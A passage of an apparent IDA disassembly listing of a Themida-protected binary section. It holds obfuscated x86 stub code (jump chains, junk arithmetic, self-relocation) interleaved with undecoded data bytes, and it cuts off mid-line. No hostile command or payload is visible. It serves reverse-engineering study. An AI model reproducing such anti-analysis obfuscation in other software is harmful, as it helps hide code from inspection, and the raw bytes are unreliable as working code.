0B7080053h, 0D4550053h, 0BAD50053h, 20770053h, 0CC4B0054h dd 0EAD10053h, 0E9050053h, 0B0730053h, 0DA350053h, 0AFB0053h dd 0DB220054h, 149B0053h, 0C4C30054h, 0B25F0053h, 842F0053h dd 0D11F0053h, 0B2C30053h, 206E0053h, 0D4E10054h, 0AA9B0053h dd 81B80053h, 0F8CD0053h, 6BA60053h, 14E20053h, 9D770054h dd 0EF640053h, 83770053h, 0AC370053h, 88690053h, 17320053h dd 4D90054h, 63350054h, 0A50F0053h, 0EE140053h, 0F9CA0053h dd 0DBDD0053h, 0F0880053h, 0A0860053h, 0FB6E0053h, 0E1030053h dd 0D50053h, 0D7370054h, 0B69A0053h, 1D60053h, 0C870054h dd 0C8600054h, 820053h, 0A49D0054h, 0E6600053h, 0B5260053h dd 0E12E0053h, 6A490053h, 5EEE0053h, 0D63F0053h, 74ED0053h dd 0BBB20053h, 7FF50053h, 0DF2F0053h, 0DAEB0053h, 0D0B50053h dd 0DB160053h, 8B230053h, 77C30053h, 0F4B40053h, 93070053h dd 81EE0053h, 75F00053h, 0EDDD0053h, 0A2D40053h, 62BA0053h dd 0AEB30053h, 0A3F80053h, 20240053h, 0B2D10054h, 0F90C0053h dd 797E0053h, 96FD0053h, 0B1EE0053h, 0FB500053h, 0BDE70053h dd 0FF130053h, 0FE1D0053h, 75270053h, 0AAA40053h, 846B0053h dd 0ABF80053h, 812C0053h, 8BCA0053h, 0CB2E0053h, 0CD870053h dd 0FD860053h, 0D3E10053h, 0CF6E0053h, 4ED0053h, 66FF0054h dd 0C1E10053h, 90690053h, 0F6CB0053h, 0D1B80053h, 6B430053h dd 0FDAF0053h, 0DC660053h, 5E1F0053h, 5100053h, 0E2380054h dd 89BC0053h, 89CC0053h, 15D00053h, 62EA0054h, 0AC00053h dd 72610054h, 22E90053h, 7F240054h, 9A0E0053h, 0BDD50053h dd 68BA0053h, 10FE0053h, 0B3B70054h, 12970053h, 0AC480054h dd 0DBC00053h, 83920053h, 8CCE0053h, 8DBB0053h, 9D800053h dd 73900053h, 856F0053h, 0D8D70053h, 1E730053h, 0D0EC0054h dd 0F44E0053h, 63F30053h, 0C2AD0053h, 9CAE0053h, 0C240053h dd 651B0054h, 0B5910053h, 0E2E80053h, 5AE40053h, 81740053h dd 0B4320053h, 66BD0053h, 0B98A0053h, 0BFEF0053h, 0F5580053h dd 5C750053h, 985F0053h, 0E900053h, 0C9A10054h, 0B87B0053h dd 21E70053h, 72230054h, 67630053h, 0CA3A0053h, 0F22A0053h dd 6D4F0053h, 0B1580053h, 0C7B50053h, 0F1BB0053h, 1B370053h dd 89860054h, 0A1210053h db 53h, 0 ; --------------------------------------------------------------------------- loc_535A7A: ; CODE XREF: Themida_:00562935j ; Themida_:00562FE2j ... pusha pushf cld call $+5 pop edi sub edi, 61F7D8Ah mov eax, edi add edi, 61F7AA2h cmp eax, [edi+2Ch] jnz short loc_535A98 jmp short loc_535AAB ; --------------------------------------------------------------------------- loc_535A98: ; CODE XREF: Themida_:00535A94j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_535AA7 ; --------------------------------------------------------------------------- loc_535AA2: ; CODE XREF: Themida_:00535AA9j add [edi+ecx*4+40h], eax dec ecx loc_535AA7: ; CODE XREF: Themida_:00535AA0j or ecx, ecx jnz short loc_535AA2 loc_535AAB: ; CODE XREF: Themida_:00535A96j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_535AB8: ; CODE XREF: Themida_:00535ABFj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_535AB8 loc_535AC1: ; CODE XREF: Themida_:loc_5366E4j ; Themida_:00537B82j ... lodsb push ecx push ebx mov bh, 0F0h mov cl, 6Fh add cl, bh pop ebx sub cl, 68h xor cl, 76h xor cl, 3Bh push 0 sub [esp], cl mov cl, [esp] jmp loc_53FB62 ; --------------------------------------------------------------------------- dd 582434FFh, 52E18951h, 711BFFBAh, 5C28162h, 19D8EE4h dd 0A66DE9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_535AFE: ; CODE XREF: Themida_:0053F967j mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp shl edx, 1 shr edx, 8 shl edx, 3 add edx, 24F70218h xor edx, 2801A668h and eax, edx mov edx, [esp] add esp, 4 jmp loc_541664 ; --------------------------------------------------------------------------- db 66h, 81h, 34h dd 6609E024h, 0F1816659h, 505809E0h, 4100E9h, 5FF82900h dd 5E73E952h, 0C6810000h, 4, 5C243487h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], esi jmp loc_539897 ; --------------------------------------------------------------------------- loc_535B75: ; CODE XREF: Themida_:0053FEB9j pop ebp push ebp mov ebp, esp jmp loc_53B37B ; --------------------------------------------------------------------------- loc_535B7E: ; CODE XREF: Themida_:0053F5F2j mov esi, 409A384Fh sub esi, 3FF8BF14h jmp loc_53D0F5 ; --------------------------------------------------------------------------- loc_535B8E: ; CODE XREF: Themida_:0053F735j add eax, edi jmp loc_53A148 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0D1h dd 10DCB3Fh, 0DAE95AD3h, 320000ACh, 34302434h, 18CFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_535BAE: ; CODE XREF: Themida_:005411DEj sub ecx, 2B8362CFh mov edi, [esp] jmp loc_536B0A ; --------------------------------------------------------------------------- aRsc db 'Réç',0Dh,0 align 2 dw 0EC83h dd 240C8904h, 395FBE56h, 0A1B950A0h, 0E9D81D43h, 0B414h dd 772BE95Ch, 0E0890000h, 4DF5E9h, 4335D00h, 25DAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_535BEE: ; CODE XREF: Themida_:00541919j mov esi, ecx pop ecx add edi, esi pop esi jmp loc_540DB1 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C3h dd 72CB5DCCh, 0EB81EB01h, 72CB5DCCh, 5BDBEB81h, 15D10E8h dd 1EACE9C3h, 0C2810000h, 4, 8303E9h db 0 ; --------------------------------------------------------------------------- loc_535C21: ; CODE XREF: Themida_:00540AF6j mov eax, 72226004h and eax, 16A94928h jmp loc_542107 ; --------------------------------------------------------------------------- dd 497DEB81h, 0FCE95968h, 0B100000Dh, 0AB6E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_535C42: ; CODE XREF: Themida_:0053BD1Ej pop ebp xchg esi, [esp] jmp loc_54205C ; --------------------------------------------------------------------------- aSV db '^é·‚',0 dd 4BA00h, 0D0010000h, 6793E9h, 0E9CEFE00h, 6CCBh ; --------------------------------------------------------------------------- loc_535C64: ; CODE XREF: Themida_:00537099j ; Themida_:0053A284j push esi push edi jmp loc_53EA28 ; --------------------------------------------------------------------------- db 0BFh dd 4, 64FEE9h, 2434FF00h, 8124048Bh, 4C4h, 1EE95300h, 0F7000006h dd 0BAEE81DEh, 0D133042Ah, 4CC681E6h, 89560818h, 0E8895EF5h dd 81242C8Bh, 4C4h, 4C300500h, 4E3505ABh, 8132A6B3h, 6E390AEDh dd 81C50110h, 6E390AC5h, 0EC835810h, 242C8904h, 42474FFh dd 81242C8Bh, 4C4h, 24048F00h, 123F685Ch, 14890000h, 0A685E924h dd 835B0000h, 148704EAh, 0C895C24h, 81E18924h, 4C1h, 1632E900h dd 74FF0000h, 348B0424h, 4C48124h, 0E9000000h, 0C0D2h dd 8904EC83h, 0EDB1240Ch, 0E902E1C0h, 4A7Bh, 2D806853h dd 47E96FB7h, 53000005h, 42474FFh, 734BE9h, 0F9F68100h dd 16F0A53h, 1606E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_535D3E: ; CODE XREF: Themida_:005386D1j push edx mov edx, 4 add eax, edx pop edx sub eax, 4 xchg eax, [esp] jmp loc_53C866 ; --------------------------------------------------------------------------- loc_535D54: ; CODE XREF: Themida_:0053D949j sub ch, bh add ch, 29h push bx mov bh, 52h sub ch, bh mov bx, [esp] jmp loc_53B6C6 ; --------------------------------------------------------------------------- dd 0E9E18951h, 901h, 83240C89h, 8F5404ECh, 0EDE92404h dd 6600009Eh, 0B3241C89h, 2C922C55h, 9B2CE8h, 49B04D8h dd 9E951E8h, 87000070h, 248B240Ch, 240C8924h, 0C82828B1h dd 284D0459h, 514D2CD8h, 0FD8660B5h, 382CE9h db 0 ; --------------------------------------------------------------------------- loc_535DB5: ; CODE XREF: Themida_:0053D35Bj sub eax, esi pop esi jmp loc_53AE4C ; --------------------------------------------------------------------------- db 0B8h, 9Dh, 2Ah dd 0C229DE9Eh, 0BA525358h, 6C4567F2h, 5D712DBBh, 5AD3298Ch dd 9689E9h, 0E9545C00h, 1F0Dh, 5159CE89h, 906EA7B9h, 59CE3154h dd 11FFC681h, 0F68169B1h, 0DF055997h, 348BF709h, 4C48124h dd 0F7000000h, 51504FD7h, 694FCD68h, 2434FF0Eh, 6E9E9h dd 2474FF00h, 0B5E95E04h, 660000ABh, 9C241CF7h, 0FFFC98E9h db 0FFh ; --------------------------------------------------------------------------- loc_535E29: ; CODE XREF: Themida_:00539883j pop ebp add ecx, esi jmp loc_538712 ; --------------------------------------------------------------------------- loc_535E31: ; CODE XREF: Themida_:0053A585j shl bl, 4 jmp loc_536B02 ; --------------------------------------------------------------------------- db 59h, 28h, 0D8h dd 672C0D04h, 7B25266h, 6FE9D028h, 300000AEh, 4EC81D8h dd 89000000h, 0B4502414h, 0FEC4FEBDh, 80CCFECCh, 51E9E3E4h dd 5C000029h, 0E9240489h, 74A2h ; --------------------------------------------------------------------------- loc_535E70: ; CODE XREF: Themida_:00537C31j push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_5368C4 ; --------------------------------------------------------------------------- dw 0E089h dd 1655E9h, 223BE00h, 0EE811A54h, 5E020765h, 48D7EE81h dd 0CE813EBCh, 3EB129Dh, 0C7DAF681h, 0F5214272h, 87F5815Eh dd 8143BA56h, 0B72B7AEDh, 0C5C58113h, 810D820Ah, 0FD169CC5h dd 3EDC1E7h, 8105EDC1h, 4052B5E5h, 8E5C17Ch, 9BD9E9h, 4C78100h dd 83000000h, 3C8704EFh, 24895C24h, 24048124h, 4, 0C1AFE95Eh dd 8B660000h, 0EC812404h, 4, 0E9242C89h, 3212h, 698DEA81h dd 0DA013386h, 698DC281h, 0A8E93386h, 810000C0h, 0B708A3E9h dd 8BCF29F6h, 0C483240Ch, 0E9FD0104h, 8EDBh, 0FFFB94E9h dd 0ABF381FFh, 0C10E7D32h, 0F38105E3h, 3BDE1D58h, 2D5BD801h dd 113D66C9h, 2C0835Fh, 64A9E9h, 0D2EA8100h, 0E9679341h dd 2541h, 0B5EE815Dh, 17F7F41h, 0B5B951CEh, 17F7F41h, 0FAE959CEh dd 4000071h, 53690445h, 4EC81h, 4890000h, 88BDB424h, 24048BE7h dd 0E904C483h, 3A4Eh ; --------------------------------------------------------------------------- loc_535F8C: ; CODE XREF: Themida_:00541A97j mov eax, esp add eax, 4 jmp loc_53D3ED ; --------------------------------------------------------------------------- dd 0C9BA525Bh, 4A241C3Ch, 16A7F281h, 7CE92940h, 0F700000Ah dd 6BF281D2h, 0E9EC74EBh, 4F4Bh, 2B2CEB81h, 0BA525E08h dd 25031655h, 9FE9E2D1h, 5000094h, 128832FEh, 6205BE56h dd 80E96DF8h, 6600008Eh, 0DEE9008Fh, 68FFFFFAh, 6150h dd 0FF241C89h, 8B042474h, 8953241Ch, 2093E9E3h, 14330000h dd 24143124h, 5C241433h, 9F12E9h db 0 ; --------------------------------------------------------------------------- loc_536009: ; CODE XREF: Themida_:00536D42j add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5423B7 ; --------------------------------------------------------------------------- loc_53601D: ; CODE XREF: Themida_:0053E835j xor al, bl mov bx, [esp] jmp loc_53CE94 ; --------------------------------------------------------------------------- dd 405E089h, 83000000h, 48704E8h, 0C895C24h, 7DBE5624h dd 57405F34h, 0F989F789h, 0E9D15E5Fh, 13A2BE56h, 0F10140EAh dd 5224348Bh, 0C3E9E289h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53605B: ; CODE XREF: Themida_:005385ABj push ebp mov ebp, 0B8E32DFh add [esp+4], ebp pop ebp pop ecx sub ecx, 0B8E32DFh pop edx jmp loc_53D271 ; --------------------------------------------------------------------------- db 81h dd 4EAh, 61CCE900h, 8F540000h, 4832404h, 815F0424h, 4C7h dd 4C78100h, 87000000h, 875C243Ch, 248B241Ch, 242CD324h dd 0FA1BE99Ch, 8143FFFFh, 0EB1C22C3h, 24E3815Bh, 681DA646h dd 6631h, 0E9240C89h, 8C93h, 679AED81h, 0EDC17107h, 0D8C58105h dd 2913C73Eh, 0BB535DE8h, 5F3C7445h, 29EB8143h, 502426Fh dd 647927D2h, 0D22DD829h, 0E9647927h, 74AFh, 4C481h, 0C2800000h dd 0D7885377h, 0AC44E9h, 5D02900h, 2018093Bh, 0E92434FFh dd 3437h, 348BF501h, 5E545624h, 4C681h, 0C6830000h, 24348704h dd 2C5815Ch, 55000000h, 42474FFh, 5D2434FFh, 8F04C483h dd 0E95C2404h, 7D0h ; --------------------------------------------------------------------------- loc_536140: ; CODE XREF: Themida_:0053CD0Bj sub ecx, esi pop esi shr ecx, 2 sub ecx, 183FE901h jmp loc_53BCD6 ; --------------------------------------------------------------------------- loc_536151: ; CODE XREF: Themida_:005377ADj shr ebp, 7 push esi mov esi, 606064A5h jmp loc_53BAE1 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0B3E95000h, 810000B7h, 1C0B38EBh, 36F3811Eh, 813B7E73h dd 63516BEBh, 7EF38120h, 29B8AEE4h, 241C8BDAh, 104C483h dd 24148BD3h, 8704C483h, 0CFE9241Ch, 81000062h, 4ECh, 240C8900h dd 89E9DEB5h, 83000054h, 0FF5704C4h, 5F042474h, 8B24048Fh dd 0D3662424h, 0E99C240Ch, 0FFFFF8FDh, 6624248Bh, 9C240409h dd 0FFF8F0E9h, 0E9DA21FFh, 0B16Fh ; --------------------------------------------------------------------------- loc_5361D8: ; CODE XREF: Themida_:0053BEDBj xor edi, ebx xor ebx, edi xor edi, ebx xchg edi, [esp] push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_53A254 ; --------------------------------------------------------------------------- loc_5361ED: ; CODE XREF: Themida_:00537661j add ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_53F716 ; --------------------------------------------------------------------------- db 66h, 8Fh, 4 dd 0F8BBE987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_536206: ; CODE XREF: Themida_:00539FB9j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add [esp+4], ebx pop ebx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_53F68C ; --------------------------------------------------------------------------- loc_53622C: ; CODE XREF: Themida_:0054178Cj xor [esp], edi jmp loc_53BED7 ; --------------------------------------------------------------------------- dd 4C481h, 1C330000h, 241C3124h, 0E9241C33h, 53BAh, 5B2434FFh dd 6804C483h, 4688h, 89243489h, 4C681E6h, 83000000h, 348704C6h dd 24248B24h, 2A88E952h, 815B0000h, 717FF4C3h, 4EC81CBh dd 89000000h, 0B951243Ch, 3D06705h, 59B8E9h, 48B6600h dd 0A3A2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536292: ; CODE XREF: Themida_:00538721j add ecx, 35955185h push 2F2Fh mov [esp], edx jmp loc_5401AA ; --------------------------------------------------------------------------- db 54h, 5Bh, 55h dd 4BDh, 10A5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5362B2: ; CODE XREF: Themida_:005415CBj sub eax, ebp pop ebp jmp loc_53D7F4 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 4C48158h, 68000000h, 5FBEh, 68243C89h, 7726h dd 50242489h, 4B8h, 24448100h, 8470B04h, 1318E90Fh, 8B660000h dd 0AE92404h, 55000014h, 620559BDh, 0DBBD5525h, 110E85Bh dd 0F8F3E9EBh, 0BF57FFFFh, 0A2D0925h, 0E0C7814Fh, 1F5D2F6h dd 14335FFAh, 24143124h, 5C241433h, 0B65253h, 0F3300EB3h dd 4EE9515Ah, 55000023h, 0B9A1E9h, 32FF6400h, 0FFF784E9h dd 48F54FFh, 1973E924h, 0B8500000h, 17660246h, 0FFFFFF05h dd 2E6AE9FFh, 0E2800000h, 0EAEA80D1h, 45AD000h, 282004EFh dd 2C202CD8h, 0E9E62CEFh, 6F12h, 5B66DA00h, 0B5E9D588h dd 5C00000Ah, 81E78957h, 4C7h, 0A629E900h, 0C4810000h dd 4, 0B04FE9h, 24048700h, 24048F5Ch, 4278E9h db 0 ; --------------------------------------------------------------------------- loc_5363A1: ; CODE XREF: Themida_:0053F02Cj push 3DFh mov [esp], edx mov edx, esp push ecx mov ecx, esp add ecx, 4 jmp loc_542159 ; --------------------------------------------------------------------------- db 86h, 0C7h, 86h dd 525066F8h, 0D088FA88h, 461AE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5363CA: ; CODE XREF: Themida_:0053EE8Bj pop eax push edx mov edx, 203C1E3Ch jmp loc_53BA8A ; --------------------------------------------------------------------------- dw 483h dd 48F0424h, 4EC8124h, 0E9000000h, 0A988h, 83242C8Bh, 0C9E904C4h dd 0AC000066h, 0FFFA52E9h, 0FF5805FFh, 0C629262Eh, 0E1895158h dd 4C181h, 0B4E90000h, 5000037h, 3E0C707Ch, 88497D05h dd 61F1E9AEh, 0EF810000h, 4C64F0h, 0BCE9FE01h, 5D0000BCh dd 85E9EB29h, 59FFFFFBh, 3AABBB53h, 0EB8136BDh, 5CF077D7h dd 0DBF7D3F7h, 3D2FC381h, 0D9012633h, 7C2E95Bh, 0C4810000h dd 2, 81E38953h, 4C3h, 0B608E900h, 0AFB50000h, 807CF580h dd 8950A5CDh, 405E0h, 0E8830000h, 24043302h, 33240431h dd 248B2404h, 4896624h, 2C83B024h, 2904A5h, 805866C5h dd 0E95265C5h, 0BE0Eh ; --------------------------------------------------------------------------- loc_53649C: ; CODE XREF: Themida_:0053DE84j pop ebp push eax mov eax, 0BA1E9C4h sub ecx, eax pop eax add ebx, ecx jmp loc_539080 ; --------------------------------------------------------------------------- aLH db '‹$$h ]',0 dd 9518E900h, 0D6F70000h, 0F681DEF7h, 76C32FB0h, 348BF101h dd 4C48124h, 0E9000000h, 8FE8h, 0C158C231h, 0EAC108E2h dd 3DF28103h, 0E9700E4Dh, 422h, 5B71B4BBh, 0CFE94363h dd 810000B9h, 4C7h, 3F2E900h, 83590000h, 0E18104C4h, 28EA6289h dd 6664E181h, 0E9810BFAh, 0E71F37A6h, 16E9C889h, 0FF0000AEh dd 669D1C77h, 24041858h, 0F597E99Ch, 0CB28FFFFh, 4AC9E9h dd 56E95300h, 5E000076h, 69BA5251h, 0C17DA267h, 0E0E902EAh db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_536547: ; CODE XREF: Themida_:0053C55Bj add eax, 17F41529h add eax, 580CEB36h add eax, edi push dword ptr [eax] jmp loc_540CED ; --------------------------------------------------------------------------- dw 0CDFEh dd 24ED80h, 240C8BE8h, 2804C483h, 5ADC2CF0h, 48EC6853h dd 4890000h, 981E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53657A: ; CODE XREF: Themida_:0053B4E3j mov esi, esp add esi, 4 sub esi, 4 sub esp, 4 jmp loc_539B70 ; --------------------------------------------------------------------------- loc_536590: ; CODE XREF: Themida_:00537EECj mov [esp], esp add dword ptr [esp], 4 jmp loc_53C8E4 ; --------------------------------------------------------------------------- loc_53659C: ; CODE XREF: Themida_:00537B2Fj mov ebx, [esp] add esp, 4 push eax push ecx push 2E9F6645h jmp loc_541FD2 ; --------------------------------------------------------------------------- aBWUbJbsiiSra db 'Áê',7,'Â`WÇu¦Bs‰‰ÐéR€',0 align 4 loc_5365C4: ; CODE XREF: Themida_:00538207j xor al, dh jmp loc_537D55 ; --------------------------------------------------------------------------- db 1 dd 0F9895AD7h, 0E9243C8Bh, 3A55h, 505E8C1h, 1, 88F5B02Dh dd 58C589D9h, 4246C01h, 81242C8Bh, 4C4h, 24148B00h, 0FFFD8DE9h dd 0E9555BFFh, 860Fh ; --------------------------------------------------------------------------- loc_536604: ; CODE XREF: Themida_:0053FE18j pop ax add al, 58h sub al, cl push ebx mov bh, 0D8h not bh shr bh, 8 shr bh, 6 or bh, 0B4h shr bh, 8 xor bh, 58h sub al, bh mov ebx, [esp] jmp loc_53A075 ; --------------------------------------------------------------------------- dd 0FFF494E9h, 0E94CB3FFh, 2AC2h, 88E38059h, 0E94BF380h dd 57BAh, 97316FBDh, 0C1DDF722h, 0EDC104E5h, 2E5C105h dd 0AB43B951h, 0CD3134A2h, 8BEB2959h, 0C483242Ch, 4079E904h dd 0C2810000h, 4, 0FFFA02E9h, 4C181FFh, 81000000h, 4C1h dd 74FF5100h, 0C8B0424h, 4C48124h, 0E9000000h, 20CEh, 104C483h dd 24148BD6h, 116FE950h, 0C4810000h, 4, 3CA3B850h, 0FD0D3466h dd 0E95F4F15h, 0B776h, 59CE315Bh, 6951E9h, 2434FF00h, 7B685759h dd 54000078h, 0E924048Fh, 16CCh ; --------------------------------------------------------------------------- loc_5366D0: ; CODE XREF: Themida_:00537F37j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_536D58 ; --------------------------------------------------------------------------- loc_5366E4: ; CODE XREF: Themida_:00539B31j jmp loc_535AC1 ; --------------------------------------------------------------------------- db 89h, 0FAh, 0E9h dd 4C57h, 0E924048Bh, 9EBCh, 58E9C800h, 66000092h, 0E9240C8Bh dd 842Fh, 2FE0C781h, 0BB530465h, 68A22F89h, 2D5BDF01h dd 36CF57EDh, 0D0E9F801h, 8F0000AFh, 665C2404h, 53240C8Bh dd 0FECBE954h, 0CE81FFFFh, 4E5F7540h, 0B317E946h, 2C810000h dd 212A9E24h, 0BE565D0Dh, 14E081Ch, 464ED6F7h, 0E3F68146h dd 0E9256414h, 29BEh, 9AE9C301h, 510000A6h, 0C181E189h dd 4, 423DE9h, 53FA0400h, 8904EC83h, 0F9E9240Ch, 59000026h dd 0F581D5F7h, 59B0E3CBh, 0E95DE801h, 73C1h ; --------------------------------------------------------------------------- loc_536790: ; CODE XREF: Themida_:0053D4AEj pop ebp mov ebp, ecx pop ecx and ecx, ebp jmp loc_53FB06 ; --------------------------------------------------------------------------- db 5Bh dd 78AE681h, 0BA520660h, 0E4271E0h, 0A6E9D631h db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5367AF: ; CODE XREF: Themida_:0053DD1Dj push esi jmp loc_53F673 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0E5h dd 0C13FFB5Dh, 0BD5507EAh, 45AF3D46h, 0C15DEA29h, 0CA8108E2h dd 49C876BFh, 2830B850h, 0C22907FAh, 4FB9E9h, 240C3300h dd 0E9240C31h, 34D7h, 136332BBh, 5BDE8959h, 0C15EF321h dd 99E907EBh, 0BA000041h, 0EB68FDh, 7CFFE9h db 0 ; --------------------------------------------------------------------------- loc_536805: ; CODE XREF: Themida_:0053A3D2j pop esp push ebp jmp loc_53C1FB ; --------------------------------------------------------------------------- dd 8704C283h, 285C2414h, 664204F8h, 9D68575Bh, 0E9000032h dd 4A12h, 81E18951h, 4ECh, 242C8900h, 6394BF57h, 0EFC17633h dd 76EF8102h, 0E961557Dh, 0B328h, 5A64B850h, 0D4078B7h dd 66EF2328h, 0FBB9E940h, 3C87FFFFh, 4F73E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53685E: ; CODE XREF: Themida_:00537915j pop esp mov [esp], eax jmp loc_541786 ; --------------------------------------------------------------------------- loc_536867: ; CODE XREF: Themida_:005393B9j xor edx, 7849132Ch jmp loc_53E17A ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 9EA1E95Bh, 0B5680000h, 8900002Bh, 0B868240Ch dd 596ADE05h, 4955F181h, 0BE561D27h, 3CE13F5Dh, 4EFFE9h dd 598BB900h, 0C9810B8Eh, 46E05559h, 8D0BE9h, 28206800h dd 0C890000h, 6EB0E924h, 24680000h, 0E900005Ch, 5A2Fh ; --------------------------------------------------------------------------- loc_5368C4: ; CODE XREF: Themida_:00535E79j push eax mov eax, esp push ebp mov ebp, 45341AF5h shl ebp, 6 dec ebp dec ebp add ebp, 0B2F942C6h jmp loc_53D635 ; --------------------------------------------------------------------------- db 5Fh, 0C1h, 0E8h dd 52D0F708h, 0A65BE1BAh, 0E9D0094Ch, 317Fh, 4C781h, 3C870000h dd 66E95C24h, 31000021h, 1C33241Ch, 0FBA3E924h, 0E942FFFFh dd 78DBh, 2404FF66h, 0ACE3E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_53691A: ; CODE XREF: Themida_:00536F60j add esp, 4 pop dword ptr [esp] pop esp mov [esp], ecx push edi push 66D14787h pop edi sub edi, 573006DEh sub edi, 70C757ADh not edi add edi, 0E922180Ch mov ecx, edi pop edi jmp loc_53C6E0 ; --------------------------------------------------------------------------- aBPdbpbQxSY db 'ϯdBpÇŸå[Íé²Y',0 align 4 dd 0B60F59CBh, 87048FC0h, 7899E9h, 48B6600h, 34136824h dd 3CE90000h, 5600006Bh, 612DB9BEh, 65C2E948h, 3C8B0000h dd 4C48124h, 55000000h, 506A3EBDh, 0C6C58154h, 1ABAF95h dd 0EC835DEFh, 41A1E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5369A2: ; CODE XREF: Themida_:00538D2Fj mov ebp, edi jmp loc_5378E8 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 6A9Bh, 4247431h, 8324348Bh, 48B04C4h, 8B545724h dd 0C481243Ch, 4, 17D1B951h, 9BE9699Eh, 0F6000032h, 66D7F6D7h dd 28D6B050h, 2E19E9C7h, 4B80000h, 1000000h, 0BB5358C7h dd 4, 575BDF01h, 42474FFh, 24048F5Fh, 11E9525Ch db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_536A07: ; CODE XREF: Themida_:00539A4Aj pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_53F4AB ; --------------------------------------------------------------------------- dd 1512EF81h, 0A6E93866h, 100002Dh, 0CF015AD7h, 2A6FEF81h dd 2BE90D5Ch, 100004Ah, 7DC381D3h, 5A596849h, 4EC8355h dd 1535E9h, 24048B00h, 72D7E9h, 0BB535E00h, 4, 0A584E9h dd 0F05FE900h, 5D54FFFFh, 75DBE9h, 23E95B00h, 87000005h dd 15C240Ch, 78BE56C2h, 816F3219h, 5D1D57F6h, 0EAEA8107h dd 114662Ch, 0EAC281F2h, 5E14662Ch, 2CB1EA81h, 0C281500Ch dd 669E2030h, 0FFF020E9h db 0FFh ; --------------------------------------------------------------------------- loc_536AA1: ; CODE XREF: Themida_:0053E0FEj sub edx, 5DA874ECh add edx, 782E3E7Ch mov ebp, edx pop edx sub ebp, 0F85824DAh sub edx, 262B0E7Dh add edx, ebp add edx, 262B0E7Dh jmp loc_53A74A ; --------------------------------------------------------------------------- aISg db '‰,$ég#',0 db 0 ; --------------------------------------------------------------------------- loc_536AD1: ; CODE XREF: Themida_:0053F38Aj pop ebp and edi, edx pop edx xor edi, 10503404h add eax, edi pop edi xchg eax, [esp] pop esp pop eax jmp loc_53CA7A ; --------------------------------------------------------------------------- dd 5C240487h, 4C481h, 0C2890000h, 5AD03158h, 512C68h, 8C92E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536B02: ; CODE XREF: Themida_:00535E34j sub esp, 4 jmp loc_537770 ; --------------------------------------------------------------------------- loc_536B0A: ; CODE XREF: Themida_:00535BB7j add esp, 4 and eax, ecx pop ecx jmp loc_539846 ; --------------------------------------------------------------------------- dd 4BDh, 4EC8100h, 89000000h, 8B5E242Ch, 8951242Ch, 8DE9E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536B32: ; CODE XREF: Themida_:0054176Cj neg eax sub esp, 4 jmp loc_53F73A ; --------------------------------------------------------------------------- aSS_5 db 9,'Óé)s',0 dw 6600h dd 5524048Bh, 242C8B54h, 4C481h, 0C5810000h, 4, 4F05E9h db 0 ; --------------------------------------------------------------------------- loc_536B5D: ; CODE XREF: Themida_:0053F757j add eax, ecx jmp loc_539651 ; --------------------------------------------------------------------------- loc_536B64: ; CODE XREF: Themida_:00538E19j add eax, ecx push ebx jmp loc_53F27E ; --------------------------------------------------------------------------- dd 263FBA52h, 0D6310BB5h, 35E6815Ah, 81374D6Dh, 150F68F6h dd 0E9F78910h, 6EFFh, 34FFD789h, 54565A24h, 0AB87E95Eh dd 51530000h, 0E99CB050h, 33CBh, 0B3D9E955h, 8B660000h dd 9768240Ch, 0E9000048h, 9954h, 2BBh, 0E9DE0100h, 8301h dd 31243433h, 34332434h, 4D35C24h, 0EEE99C24h, 5FFFFEEh dd 3A043C4Fh, 0A7E9D829h, 8700007Ch, 248B243Ch, 49666824h dd 14890000h, 0E9575524h, 1E3Ch, 42474FFh, 5E2434FFh, 9638E9h dd 0A8EA8100h, 1248B0Bh, 0A8C281FAh, 0E9248B0Bh, 9D87h dd 3E20B850h, 0E8C1107Ch, 36A53506h, 0BA520F33h, 76850224h dd 355AD009h, 67FC7737h, 2D40D0F7h, 0E7F44EB2h, 48BC129h dd 4C48124h, 87000000h, 248B240Ch, 242C8924h, 10D0E9h dd 5FFB0100h, 0E9241C87h, 17B8h ; --------------------------------------------------------------------------- loc_536C5C: ; CODE XREF: Themida_:00539C9Fj pop eax add esp, 4 push ebx push 14F01457h pop ebx dec ebx sub esp, 4 mov [esp], esi push edx mov edx, 5E1C7016h add edx, 23CBE15h mov esi, edx pop edx jmp loc_5400C3 ; --------------------------------------------------------------------------- dw 